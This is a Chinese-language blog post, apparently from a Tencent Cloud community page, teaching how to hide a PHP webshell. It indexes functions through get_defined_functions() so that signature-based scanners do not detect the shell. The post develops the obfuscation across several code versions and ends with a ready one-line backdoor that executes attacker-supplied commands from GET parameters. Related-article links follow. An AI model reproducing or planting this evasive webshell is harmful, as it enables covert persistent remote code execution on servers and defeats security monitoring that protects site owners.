Using get_defined_functions To Hidden A PHP Backdoor

webshell隐藏是渗透当中一个很重要的权限维持技术,目前也有各种各样的隐藏方法,pen-tester的思路也越来越开放(weisuo)。这篇文章主要记录一下利用get_defined_functions()来隐藏webshell的方法,不是什么新技术,但也值得摸索。

关于get_defined_functions()就不在这里介绍了,大家直接去翻官方文档即可,这里看一下还函数的执行结果应该也能明了。

以下是一个该函数在webshell里边利用的一个思路,主要是可以隐藏危险函数字符串,而利用正则去文件系统及网络流量上匹配危险函数的安全防护对此也就无效了,先看代码:

<?php
function callfunc() {

    $func = get_defined_functions();  //函数自己完成所有函数的枚举,成为list
    $args = func_get_args();  //获取传入参数值
    $func_id = array_shift($args);  //获取传入的函数所代表的list key
    $func_name = $func['internal'][$func_id];  //以key来索引函数名

    return call_user_func_array($func_name, $args);  //调用回调函数,传参执行
}
print callfunc(460, "whoami");
?>

这里自定义了一个callfunc函数,将system函数以索引460传入,并在call_user_func_array()函数执行

按照这个套路我们继续将func_get_args()array_shift()call_user_func_array()也用get_defined_functions()来调用,那么就变成了这样

<?php
function callfunc() {

    $func = get_defined_functions();
    $args = $func['internal'][3]();
    $func_id = $func['internal'][805]($args);
    $func_name = $func['internal'][$func_id];

    return $func['internal'][556]($func_name, $args);
}
print callfunc(460, 'whoami');
?>

当然也可以是这样

<?php
function callfunc() {

    $func = get_defined_functions()['internal'];
    $args = $func[3]();
    $func_id = $func[805]($args);
    $func_name = $func[$func_id];
    return $func[556]($func_name, $args);
}
print callfunc(460, 'whoami');
?>

最后我们将自定义函数名及所有变量名缩短,只留一个核心get_defined_functions()函数即可

<?php
function f() {

    $a = get_defined_functions()['internal'];
    $s = $a[3]();
    $b = $a[805]($s);
    $c = $a[$b];
    return $a[556]($c, $s);
}
print f(460, 'whoami');
?>

无特征webshell

最后我们将所需要执行的命令及想要使用的函数key以参数方式提交,这样就可以完全避免掉危险函数字符串而不通过任何编码,并且相当自由化,你可以用system可以用exec等等。

<?php function f() { $a = get_defined_functions()['internal'];$s = $a[3]();$b = $a[805]($s);$c = $a[$b];return $a[556]($c, $s); }print f($_GET['id'], $_GET['cmd']);?>


本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏ImportSource

必懂的NoSQL理论-Map-Reduce(中)

本文主要内容:分区和归并 上一文:必懂的NoSQL理论-Map-Reduce(上) Partitioning and Combining 分区和归并 在最简单...

3366
来自专栏Golang语言社区

无辜的goroutine

简介: 本文主要是针对一些对于goroutine的“指控”提出我自己的看法,特别是轩脉刃的一篇博客文章《论go语言中goroutine的使用》提出了gorout...

3135
来自专栏葡萄城控件技术团队

C#开发人员应该知道的13件事情

本文讲述了C#开发人员应该了解到的13件事情,希望对C#开发人员有所帮助。 1. 开发过程 开发过程是错误和缺陷开始的地方。使用工具可以帮助你在发布之后,解决掉...

2309
来自专栏FreeBuf

某工业组态软件整数溢出漏洞(CVE-2018-7471)分析

某公司工业组态软件存在整数溢出漏洞,该漏洞是由于stgopenstorage读取失败,返回的错误代码超出int在32位系统中的范围,攻击者可利用该漏洞执行任意代...

962
来自专栏玄魂工作室

Hacker基础之Python篇:一、环境安装和基础知识

0x01. 前言 emmmmmmm...你只需知道这是一门用途很广的语言,上到大数据AI,下到Linux运维,都可以使用Python,当然,黑客也用Pyth...

3026
来自专栏信数据得永生

JavaScript 编程精解 中文第三版 八、Bug 和错误

31610
来自专栏Golang语言社区

无辜的goroutine

简介: 本文主要是针对一些对于goroutine的“指控”提出我自己的看法,特别是轩脉刃的一篇博客文章《论go语言中goroutine的使用》提出了gorout...

36811
来自专栏ThoughtWorks

TW洞见〡getter和setter的那些事

文章作者来自ThoughtWorks:佟达 相信每一个以Java或者C++作为编程入门语言的程序员,一定会记得一条金科玉律:字段(Filed)要声明成priv...

3126
来自专栏FreeBuf

逆向工厂(二):静态分析技术

* 本文原创作者:追影人,本文属FreeBuf原创奖励计划,未经许可禁止转载 前言 [逆向工厂]第一章节中介绍了逆向技术的相关基础知识,其中提到逆向的两种形式:...

4598
来自专栏JetpropelledSnake

Linux学习笔记之Redis中5种数据结构的使用场景介绍

原来看过 redisbook 这本书,对 redis 的基本功能都已经熟悉了,从上周开始看 redis 的源码。目前目标是吃透 redis 的数据结构。我们都知...

1241

扫码关注云+社区

领取腾讯云代金券